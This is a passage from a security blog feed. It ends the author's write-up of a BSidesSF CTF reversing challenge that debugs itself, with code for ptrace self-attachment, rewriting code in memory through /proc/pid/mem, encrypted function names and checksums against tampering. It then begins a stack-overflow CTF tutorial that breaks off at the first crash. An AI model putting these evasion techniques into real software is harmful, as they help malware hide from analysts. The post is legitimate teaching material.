  <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Checking your flag...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="c1">// Basic length check, if this is wrong things get weird</span>
  <span class="k">if</span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">!=</span> <span class="n">FLAG_LENGTH</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Flag is not correct!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
  <span class="n">check_flag</span><span class="p">(</span><span class="sc">'\0'</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
  <span class="kt">int</span> <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">result</span> <span class="o">+=</span> <span class="p">(</span><span class="n">check_flag</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="n">i</span><span class="p">],</span> <span class="n">i</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">?</span> <span class="mi">0</span> <span class="o">:</span> <span class="mi">1</span><span class="p">);</span>
    <span class="o">*</span><span class="p">((</span><span class="kt">uint32_t</span><span class="o">*</span><span class="p">)</span><span class="mi">0</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x5754463f</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">if</span><span class="p">(</span><span class="n">result</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Flag is not correct!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Flag is correct!! YAY!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It has some usage, it loops over the argument, and it validates the flag one character at a time.</p>

<p>But you might notice one important detail: this line will crash attempting to write the string <code class="language-plaintext highlighter-rouge">WTF?</code> to the <code class="language-plaintext highlighter-rouge">NULL</code> pointer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*((uint32_t*)0) = 0x5754463f;
</code></pre></div></div>

<p>That’s one of the two exceptions that the debugger will handle. The other one is in the <code class="language-plaintext highlighter-rouge">check_flag()</code> function.</p>

<h3 id="check_flag"><code class="language-plaintext highlighter-rouge">check_flag()</code></h3>

<p><code class="language-plaintext highlighter-rouge">check_flag()</code> is what you get when you ask Perplexity (AI) to generate a “long function with a lot of math”. Sorry to anybody who actually tried to reverse it:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// You can just ignore this function, it's written by AI and all it needs to</span>
<span class="c1">// do is a) be long, and b) cause a SIGFPE somewhere. :)</span>
<span class="c1">//</span>
<span class="c1">// For each character, it'll get overwritten by new code</span>
<span class="kt">int</span> <span class="nf">check_flag</span><span class="p">(</span><span class="kt">int</span> <span class="n">c</span><span class="p">,</span> <span class="kt">int</span> <span class="n">i</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">a</span> <span class="o">=</span> <span class="n">c</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>

  <span class="kt">int</span> <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

  <span class="c1">// Step 1: Multiply a by b</span>
  <span class="kt">int</span> <span class="n">product</span> <span class="o">=</span> <span class="n">a</span> <span class="o">*</span> <span class="n">b</span><span class="p">;</span>

  <span class="c1">// Step 2: Add the square of their sum</span>
  <span class="kt">int</span> <span class="n">sumSquare</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="n">b</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="n">b</span><span class="p">);</span>
  <span class="n">result</span> <span class="o">=</span> <span class="n">product</span> <span class="o">+</span> <span class="n">sumSquare</span><span class="p">;</span>

  <span class="c1">// [...............]</span>

  <span class="c1">// Step 21-40: Repeat various operations</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">20</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">result</span> <span class="o">+=</span> <span class="n">i</span> <span class="o">*</span> <span class="n">a</span><span class="p">;</span>
    <span class="n">result</span> <span class="o">-=</span> <span class="n">i</span> <span class="o">*</span> <span class="n">b</span><span class="p">;</span>
    <span class="n">result</span> <span class="o">*=</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">result</span> <span class="o">/=</span> <span class="p">(</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// &lt;---------- This will SIGFPE exactly once</span>
  <span class="p">}</span>

  <span class="c1">// [...............]</span>

  <span class="c1">// Step 181-200: Final arithmetic operations</span>
  <span class="n">result</span> <span class="o">+=</span> <span class="n">sum</span><span class="p">;</span>
  <span class="n">result</span> <span class="o">-=</span> <span class="n">product</span><span class="p">;</span>
  <span class="n">result</span> <span class="o">*=</span> <span class="n">abs</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
  <span class="n">result</span> <span class="o">/=</span> <span class="n">abs</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>

  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The first time the <code class="language-plaintext highlighter-rouge">SIGFPE</code> fires (due to divide-by-zero) is when the game starts!</p>

<p>It’s also where the game ends if you’re trying to use a debugger to solve it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) run 'CTF{aaaaaaaaaaaaaaaaaaaaaaaaa}'
quit
Starting program: /home/ron/projects/ctf-2025/challenges/bug-me/distfiles/bug-me 'CTF{aaaaaaaaaaaaaaaaaaaaaaaaa}'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Detaching after fork from child process 57137]
Loading...
Checking your flag...
Program received signal SIGFPE, Arithmetic exception.
0x000055555555537f in ?? ()
</code></pre></div></div>

<p>Also <code class="language-plaintext highlighter-rouge">strace</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace ./bug-me 'CTF{aaaaaaaaaaaaaaaaaaaaaaaaa}'
execve("./bug-me", ["./bug-me", "CTF{aaaaaaaaaaaaaaaaaaaaaaaaa}"], 0x7ffd39496d98 /* 90 vars */) = 0
brk(NULL)                               = 0x5653a419a000                                                                                        
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3                                                                                    
fstat(3, {st_mode=S_IFREG|0644, st_size=103403, ...}) = 0             
mmap(NULL, 103403, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f0f288f5000
close(3)                                = 0
[...]
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f0f286fea10) = 57528
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
getrandom("\xd4\x92\x5d\xee\xe0\x7a\xe4\x17", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x5653a419a000
brk(0x5653a41bb000)                     = 0x5653a41bb000
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=57528, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
write(1, "Loading...\n", 11Loading...
)            = 11
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=0}, 0x7ffd4937c720) = 0
write(1, "Checking your flag...\n", 22Checking your flag...
) = 22
--- SIGFPE {si_signo=SIGFPE, si_code=FPE_INTDIV, si_addr=0x56539c8c137f} ---
+++ killed by SIGFPE (core dumped) +++
fish: Job 1, 'strace ./bug-me 'CTF{aaaaaaaaaa…' terminated by signal SIGFPE (Floating point exception)
</code></pre></div></div>

<p>Although there IS a hint in there: <code class="language-plaintext highlighter-rouge">clone</code> and <code class="language-plaintext highlighter-rouge">SIGCHLD</code> are unusual!</p>

<h2 id="changing-the-code">Changing the code</h2>

<p>In the debugger process, after attaching to the executable it opens a) its own executable file (<code class="language-plaintext highlighter-rouge">/proc/self/exe</code>) and b) its parent’s memory (<code class="language-plaintext highlighter-rouge">/proc/&lt;parent pid&gt;/mem</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    int code = OPEN(PROC_EXE, 0); // /proc/self/exe

    LSEEK(code, 0x13371337, SEEK_SET); // 0x13371337 will get replaced post-compile

    char filename[32];
    SPRINTF(filename, PROC_MEM, parent);

    int memory = OPEN(filename, O_RDWR|O_CLOEXEC); // /proc/&lt;parent pid&gt;/mem
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">lseek()</code> value (0x13371337) gets replaced post-compilation with the length of the executable - basically, it fast forwards to the end of the executable file on disk.</p>

<p>When an exception happens, the debugger “fixes” the exception by skipping over the code that caused it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    for(;;) {
      // Wait for a signal
      int status;
      WAITPID(parent, &amp;status, 0);

      // Make sure it's the right signal
      if(WIFSTOPPED(status)) {
        struct user_regs_struct regs;
        PTRACE(PTRACE_GETREGS, parent, NULL, &amp;regs);

        // Bump RIP up depending on which exception we hit
        if(WSTOPSIG(status) == SIGFPE) {
          regs.rip += 2;
        } else if (WSTOPSIG(status) == SIGSEGV) {
          regs.rip += 6;
        }

        PTRACE(PTRACE_SETREGS, parent, NULL, &amp;regs);
</code></pre></div></div>

<p>After compiling the binary, we append a bunch of encrypted code to it. After the exception is fixed, we read the encrypted code from the end of the binary, decrypt it, and <em>replace the entire check_flag() function</em>!!:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        // The next byte is the "key"
        uint8_t key;
        READ(code, &amp;key, 1);

        // The next 4 bytes are the length of the new function
        uint8_t length;
        READ(code, &amp;length, 1);

        // Read the function (up to 256 bytes)
        uint8_t func[256];
        READ(code, func, length);

        int i;
        for(i = 0; i &lt; length; i++) {
          func[i] = func[i] ^ key ^ (i &lt;&lt; 2) ^ checksum;
        }

        // Overwrite the code
        PWRITE(memory, func, length, (void*)check_flag);

        // Continue execution
        PTRACE(PTRACE_CONT, parent, -1, 0);
</code></pre></div></div>

<p>I’ll talk more about the checksum byte in a second, but first, to summarize the debugger:</p>

<ul>
  <li>Attaches to its parent to handle exceptions</li>
  <li>When an exception occurs, skip the “bad code”</li>
  <li>Read a chunk of encrypted code from the end of the binary</li>
  <li>Decrypt the chunk of code (it’s just <code class="language-plaintext highlighter-rouge">xor</code> stuff)</li>
  <li>Overwrite the <code class="language-plaintext highlighter-rouge">check_flag</code> function with the new code</li>
</ul>

<h2 id="obfuscations">Obfuscations</h2>

<p>I didn’t want to make it TOO easy, so I added a long trail of obfuscations to mess with players!</p>

<h3 id="code-sections-and-constructors">Code sections and constructors</h3>

<p>The debugger isn’t attached in <code class="language-plaintext highlighter-rouge">_start</code> or <code class="language-plaintext highlighter-rouge">main()</code>; instead, it’s attached in a special kind of function called a <code class="language-plaintext highlighter-rouge">constructor</code>, which runs when an ELF binary starts. You can see the code in IDA, and perhaps some tools will alert you that there are constructors, but they’re not super obvious:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__attribute__((constructor)) __attribute__((section(".ctor"))) void __gmon_init__() {
  register uint8_t *my_dlsym = ((uint8_t*)dlsym) + 0x1000;

  char buf[32];
  if(!FORK()) {
[...]
</code></pre></div></div>

<p>What you’ll also see there is I put the code in a section called <code class="language-plaintext highlighter-rouge">.ctor</code>. That doesn’t really do anything, I’m not even sure if it’s a standard name on ELF files. I simply used it to be more confusing - it’s not in the <code class="language-plaintext highlighter-rouge">.code</code> section.</p>

<p>And finally, I named it <code class="language-plaintext highlighter-rouge">__gmon_init__()</code>, because I noticed several functions with names that start with <code class="language-plaintext highlighter-rouge">__gmon_</code> and wanted to blend in. :)</p>

<h3 id="main-checksum">Main checksum</h3>

<p>During testing, I realized you could solve this by modifying the <code class="language-plaintext highlighter-rouge">main()</code> function to only check the first character, then the first two, then three, and so on. That wasn’t good!</p>

<p>I decided to incorporate a checksum of <code class="language-plaintext highlighter-rouge">main()</code> into all the decryption code. Basically, I generated a one-byte key by adding together every byte in the <code class="language-plaintext highlighter-rouge">main()</code> function in memory:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    int memory = OPEN(filename, O_RDWR|O_CLOEXEC);
    uint8_t main_in_memory[1024];

    uint16_t main_length = ((uint8_t*) IGNOREMEPLZ) - ((uint8_t*)MAIN);
    PREAD(memory, main_in_memory, main_length, MAIN);
    uint8_t checksum = 0;
    int i;
    for(i = 0; i &lt; main_length; i++) {
      checksum += main_in_memory[i];
    }
</code></pre></div></div>

<p>When we embed the code, we calculate the same value from the file on disk:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># We're going to incorporate a checksum of main() to prevent shenanigans                                                                        
disas_main = `gdb -q -batch -ex 'file ./bug-me' -ex 'disassemble main' -ex 'quit'`                                                              
             .split(/\n/)                                                                                                                       
             .select { |line| line =~ /0x000/ }                                                                                                 
             .map { |line| line =~ /(0x000[0-9a-fA-F]*)/; Regexp.last_match(0) }                                                                
                                                                                                                                                
main_start = disas_main[0].to_i(16)                                                                                                             
main_end = disas_main[-1].to_i(16)                                                                                                              
                                                                                                                                                
checksum = 0                                                                                                                                    
bugme.bytes[main_start..main_end].each do |b|                                                                                                   
  checksum = (checksum + b) % 256                                                                                                               
end
</code></pre></div></div>

<p>If you modify the binary in any way, that checksum will be incorrect and nothing will decrypt correctly (which causes some weird errors :) ).</p>

<p>That includes adding breakpoints, by the way, so even if you get a debugger attached it’s yet another anti-debug technique!</p>

<h3 id="obfuscated-function-names">Obfuscated function names</h3>

<p>To avoid having any recognizable strings or libc function calls in the debugger function - gotta fly under the radar! - we store all the functions we need as encrypted strings and decrypt them using these macros:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define ENC(s,l) (for(enc = 0; enc &lt; l; enc++) { buf[enc] = s[enc] ^ 0xff; }  )
#define FNC(f) ((int (*)()) ((void* (*)())(my_dlsym - 0x1000))(NULL, f))
#define FNC2(f, l) ((int (*)()) ((void* (*)())(my_dlsym - 0x1000))(NULL, __gmon_map__(f, l, buf)))
</span></code></pre></div></div>

<p>And then stored as encrypted strings:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#define FORK FNC2("\x99\x92\x89\x92", 4)
#define GETPPID FNC2("\x98\x98\x8f\x89\x87\x9c\x97", 7)
#define PTRACE FNC2("\x8f\x89\x89\x98\x94\x90", 6)
#define EXIT FNC2("\x9a\x85\x92\x8d", 4)
#define WAITPID FNC2("\x88\x9c\x92\x8d\x87\x9c\x97", 7)
#define PTRACE FNC2("\x8f\x89\x89\x98\x94\x90", 6)
#define LSEEK FNC2("\x93\x8e\x9e\x9c\x9c", 5)
#define SPRINTF FNC2("\x8c\x8d\x89\x90\x99\x81\x95", 7)
#define OPEN FNC2("\x90\x8d\x9e\x97", 4)
#define WAITPID FNC2("\x88\x9c\x92\x8d\x87\x9c\x97", 7)
#define PTRACE FNC2("\x8f\x89\x89\x98\x94\x90", 6)
#define READ FNC2("\x8d\x98\x9a\x9d", 4)
#define PWRITE FNC2("\x8f\x8a\x89\x90\x83\x90", 6)
#define PREAD FNC2("\x8f\x8f\x9e\x98\x93", 5)
#define MAIN FNC2("\x92\x9c\x92\x97", 4)
#define IGNOREMEPLZ FNC2("\x96\x9a\x95\x96\x85\x90\x9e\x94\x9f\x81\x91", 11)

#define PROC_EXE __gmon_map__("\xd0\x8d\x89\x96\x94\xda\x80\x94\x83\x8b\xc4\x8c\x9f\x80", 14, buf)
#define PROC_MEM __gmon_map__("\xd0\x8d\x89\x96\x94\xda\xd6\x95\xc0\x80\x8e\x84", 12, buf)
</code></pre></div></div>

<p>I generated them using a quick Ruby script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>irb(main):025:1* ['fork', 'getppid', 'ptrace', 'exit', 'waitpid', 'ptrace', 'lseek', 'sprintf', 'open', 'waitpid', 'ptrace', 'read', 'pwrite', '/proc/self/exe', '/proc/%d/mem'].each do |str|
irb(main):026:1*   puts "#define #{ str.upcase } FNC2(\"#{str.bytes.each_with_index.map { |b, i| '\x%02x' % (b ^ 0xFF ^ (i &lt;&lt; 1)) }.join }\", #{str.length})"
irb(main):027:0&gt; end
</code></pre></div></div>

<p>To get the address, we use <code class="language-plaintext highlighter-rouge">dlsym</code> (which we do some math on to not be recognizable):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  register uint8_t *my_dlsym = ((uint8_t*)dlsym) + 0x1000;
</code></pre></div></div>

<p>With all that done, there’s no way to see the function names that we’re using, and also no way to reasonably debug it. It’s a pain!</p>

<h3 id="checking-each-character">Checking each character</h3>

<p>We check the flag one character at a time using a pretty simple piece of C code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FLAG = 'CTF{hope-you-enjoyed-this-one}'                                                                                                         
                                                                                                                                                
[...]

# Encode the flag onto the end of the binary                                                                                                    
FLAG.chars.each do |c|                                                                                                                          
  Tempfile.create(['matcher', '.c']) do |infile|                                                                                                
    a = c.ord % 5
    b = c.ord % 7
    c = c.ord % 11
    infile.puts('int match(char c) {')
    infile.puts("  return !((c % 5 == #{ a }) &amp;&amp; (c % 7 == #{ b }) &amp;&amp; (c % 11 == #{ c }));")
    infile.puts('}')
    infile.close
[...]
</code></pre></div></div>

<p>By modular dividing each character by 5, 7, and 11, you get a value that uniquely identifies a character (and also compiles to fairly short code).</p>

<h2 id="thats-it">That’s it!</h2>

<p>I think that’s it!</p>

<p>I hope y’all had fun with this super-obfuscated anti-debugger reversing challenge! It’s both the hardest and my favourite reversing challenge I’ve ever written, and I hope folks appreciate it. :)</p>]]></content><author><name>ron</name></author><category term="bsidessf-2025" /><category term="ctfs" /><summary type="html"><![CDATA[Every year, I make a list of ideas and it contains the same thing: “process that debugs itself”. It’s from a half-remembered Windows challenge I solved when I was very new to CTFs. I’m obsessed with that concept, having messed with writing debuggers a few times (including Mandrake), and blogging about process injection. You’ll find a few challenges influenced by that those concepts thie yar, but this time we’re gonna look at bug-me. You can download source and the challenge (including solution) here.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">goto-zero: An extended intro to solving stack overflow CTF challenges</title><link href="https://www.skullsecurity.org/2024/goto-zero-a-fake-ctf-challenge-to-show-off-something" rel="alternate" type="text/html" title="goto-zero: An extended intro to solving stack overflow CTF challenges" /><published>2024-12-10T20:36:11+00:00</published><updated>2024-12-10T20:36:11+00:00</updated><id>https://www.skullsecurity.org/2024/goto-zero</id><content type="html" xml:base="https://www.skullsecurity.org/2024/goto-zero-a-fake-ctf-challenge-to-show-off-something"><![CDATA[<p>Hey all!</p>

<p>My husband’s company recently did an internal (commercial) CTF, and as a CTF nerd I got suckered into helping him. I thought one of the challenges had a pretty interesting solution - at least, something I hadn’t done before - and I thought I’d do a little write-up!</p>

<p>Because it’s a commercial CTF, I wrote my own vulnerability binary, which you can grab <a href="/blogdata/goto-zero">here</a>. It’s much, much simpler, but has all the components I wanted. They also provided <code class="language-plaintext highlighter-rouge">libc.so</code>, but since I’m not actually running the challenge, you can just use your own copy.</p>

<p>(Note that I’m running the BSidesSF CTF again this spring, and will probably gussy up this challenge a bit and throw it in - don’t let a good challenge go unwasted!)</p>

<!--more-->

<h2 id="the-challenge">The challenge</h2>

<p>The CTF challenge was a binary that listens on a network port with a pretty straight-forward stack buffer overflow in a call to <code class="language-plaintext highlighter-rouge">fgets()</code>.</p>

<p>The difficult part (for me) is that the binary is very simple - there aren’t a lot of libc imports. When I design a CTF challenge, I usually find an excuse to call <code class="language-plaintext highlighter-rouge">popen</code> or <code class="language-plaintext highlighter-rouge">system</code> or something so the player has access to that address. But nothing like that in this one!</p>

<p>So we we have is:</p>

<ul>
  <li>A simple binary</li>
  <li>A bit of randomness to make simple exploits difficult</li>
  <li>A provided copy of <code class="language-plaintext highlighter-rouge">libc.so</code></li>
  <li>The overflow is in <code class="language-plaintext highlighter-rouge">fgets()</code> (which allows NUL bytes - see <a href="https://www.labs.greynoise.io/grimoire/2024-11-20-null-problem/">my recent rant about NUL bytes</a></li>
  <li>The binary has no stack-overflow protection (ie, compiled with <code class="language-plaintext highlighter-rouge">-fno-stack-protector</code> or a time machine)</li>
  <li>The binary is not compiled as a position-independent executable (PIE) - that means there’s no ASLR in the main binary and we can rely on static addresses (but there IS ASLR in the <code class="language-plaintext highlighter-rouge">libc.so</code> library) - we’ll talk about why that matters</li>
  <li>The binary has symbols, so we know what functions are called</li>
</ul>

<p>Let’s see how I approached it!</p>

<h2 id="de-randomizing">De-randomizing</h2>

<p>(If you don’t care about how to disable the randomness for local testing, skip to the next section!)</p>

<p>If you run the binary I made, it asks you to type in a certain number of characters:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./goto-zero
Enter 11 characters then press enter!
^C

$ ./goto-zero
Enter 14 characters then press enter!
</code></pre></div></div>

<p>I hate randomness when I’m hacking! If possible, I want to be able to test without having to fuss with that sorta thing. So one of the first things I did was find the code that randomizes the number. To do that, you can use Ghidra, IDA, <code class="language-plaintext highlighter-rouge">objdump -D</code>. I used <code class="language-plaintext highlighter-rouge">objdump -D</code>, which is the worst option, but is quick and free and easy to demonstrate (I also use <code class="language-plaintext highlighter-rouge">-M intel</code> because I prefer Intel syntax).</p>

<p>Basically, disassemble the binary and search for the word “rand”, and it’ll lead you to the top of the <code class="language-plaintext highlighter-rouge">main()</code> function:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -M intel -D goto-zero
[...]
  4011e1:       bf 00 00 00 00          mov    edi,0x0
  4011e6:       e8 95 fe ff ff          call   401080 &lt;time@plt&gt;
  4011eb:       89 c7                   mov    edi,eax
  4011ed:       e8 5e fe ff ff          call   401050 &lt;srand@plt&gt;
  4011f2:       e8 a9 fe ff ff          call   4010a0 &lt;rand@plt&gt;
</code></pre></div></div>

<p>Seeing <code class="language-plaintext highlighter-rouge">time()</code> and <code class="language-plaintext highlighter-rouge">srand()</code> called like that tells me they’re seeding the random number generator with the current time. The register <code class="language-plaintext highlighter-rouge">edi</code> is the first argument to a function and <code class="language-plaintext highlighter-rouge">eax</code> is the return value, so what you’re seeing is essentially <code class="language-plaintext highlighter-rouge">srand(time(0));</code>.</p>

<p>What we’d like to do is get rid of all that. The easiest thing is to patch the executable to get rid of the <code class="language-plaintext highlighter-rouge">time()</code> call altogether, and just do <code class="language-plaintext highlighter-rouge">srand(0)</code>. You can do that by finding the sequence of raw bytes in the binary (the middle column in that listing), and “removing” the ones you don’t want (by replacing them with <code class="language-plaintext highlighter-rouge">90 90 90 ...</code> which is <code class="language-plaintext highlighter-rouge">nop nop nop ...</code>).</p>

<p>In this case, we want to remove <code class="language-plaintext highlighter-rouge">call 401080</code> (which corresponds to the bytes <code class="language-plaintext highlighter-rouge">e8 95 fe ff ff</code>) and the following <code class="language-plaintext highlighter-rouge">mov edi, eax</code> (<code class="language-plaintext highlighter-rouge">e9 c7</code>). That way, instead of passing 0 into <code class="language-plaintext highlighter-rouge">time()</code>, it’ll pass 0 into the following function, <code class="language-plaintext highlighter-rouge">srand()</code>, and therefore always call <code class="language-plaintext highlighter-rouge">srand(0)</code>, which means we’ll always get the same random sequence (a lot of what we do when modifying binaries is finding ways to use the tools we have to do something a little differently - we’ll see that more later).</p>

<p>Open the binary in a hex editor of your choice (I’m using <code class="language-plaintext highlighter-rouge">xxd -g1 &lt; goto-zero &gt; goto-zero.hex</code>), search for that sequence, and replace it with <code class="language-plaintext highlighter-rouge">90 90 90 90 90 90 90</code>).</p>

<p>So:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>000011e0: ff bf 00 00 00 00 e8 95 fe ff ff 89 c7 e8 5e fe  ..............^.
000011f0: ff ff e8 a9 fe ff ff 89 c2 89 d0 c1 f8 1f c1 e8  ................
</code></pre></div></div>

<p>Becomes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>000011e0: ff bf 00 00 00 00 90 90 90 90 90 90 90 e8 5e fe  ..............^.
000011f0: ff ff e8 a9 fe ff ff 89 c2 89 d0 c1 f8 1f c1 e8  ................
</code></pre></div></div>

<p>Then save it as a binary file again, if your hex editor doesn’t automatically do that (with <code class="language-plaintext highlighter-rouge">xxd</code>, you can use <code class="language-plaintext highlighter-rouge">xxd -g1 -r &lt; goto-zero.hex &gt; goto-zero.patched</code>). You’ll probably want a different name, because you’ll eventually need the old version. Also, don’t forget to <code class="language-plaintext highlighter-rouge">chmod +x</code> the new binary!</p>

<p>If you do all that, then objdump <code class="language-plaintext highlighter-rouge">goto-hex.patched</code>, you will see that the code has changed:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -M intel -D goto-zero.patched
[...]
  4011e1:       bf 00 00 00 00          mov    edi,0x0
  4011e6:       90                      nop
  4011e7:       90                      nop
  4011e8:       90                      nop
  4011e9:       90                      nop
  4011ea:       90                      nop
  4011eb:       90                      nop
  4011ec:       90                      nop
  4011ed:       e8 5e fe ff ff          call   401050 &lt;srand@plt&gt;
  4011f2:       e8 a9 fe ff ff          call   4010a0 &lt;rand@plt&gt;
</code></pre></div></div>

<p>And when you run it, it should always pick the same number:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./goto-zero.patched 
Enter 14 characters then press enter!
^C

$ ./goto-zero.patched
Enter 14 characters then press enter!
^C

$ ./goto-zero.patched
Enter 14 characters then press enter!
</code></pre></div></div>

<p>Note that this won’t work against a remote server, because it won’t be disabled on their end. So you either have to <em>eventually</em> deal with the randomness, or run your payload over and over till it doesn’t crash. :)</p>

<p>I find that removing little annoyances (like randomization) while reverse engineering or exploit dev can save you a TON of mental anguish, and I always suggest looking for ways to make your working environment nicer!</p>

<h2 id="stack-overflow">Stack overflow</h2>

<p>The first thing I do when I’m allowed to input text is to input a lot of text!</p>

<p>Let’s try:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./goto-zero.patched 
Enter 14 characters then press enter!
AAAAAAAAAAAAAA
What is your name?

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Good job, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
fish: Job 1, './goto-zero.patched' terminated by signal SIGSEGV (Address boundary error)
</code></pre></div></div>

<p>Usually that’s a darn good indicator that you have an overflow - likely a stack overflow, particularly if it’s a CTF :)</p>

<p>We can verify, though! We’re going to use <code class="language-plaintext highlighter-rouge">gdb</code> - the GNU debugger! Here’s my config file, the important part is to use <code class="language-plaintext highlighter-rouge">intel</code> syntax:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat ~/.gdbinit 
set disassembly-flavor intel
set pagination off
set confirm off
</code></pre></div></div>

<p>Here’s how you’d run <code class="language-plaintext highlighter-rouge">goto-zero.patched</code> in <code class="language-plaintext highlighter-rouge">gdb</code> (the <code class="language-plaintext highlighter-rouge">-q</code> is just for less output, and I added some newlines for easier reading):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gdb -q ./goto-zero.patched
Reading symbols from ./goto-zero.patched...
(No debugging symbols found in ./goto-zero.patched)

(gdb) run
Starting program: /home/ron/projects/ctf/goto-zero/goto-zero.patched 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Enter 14 characters then press enter!
</code></pre></div></div>

<p>Then enter the same (long) input to see what happens:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]

(gdb) run

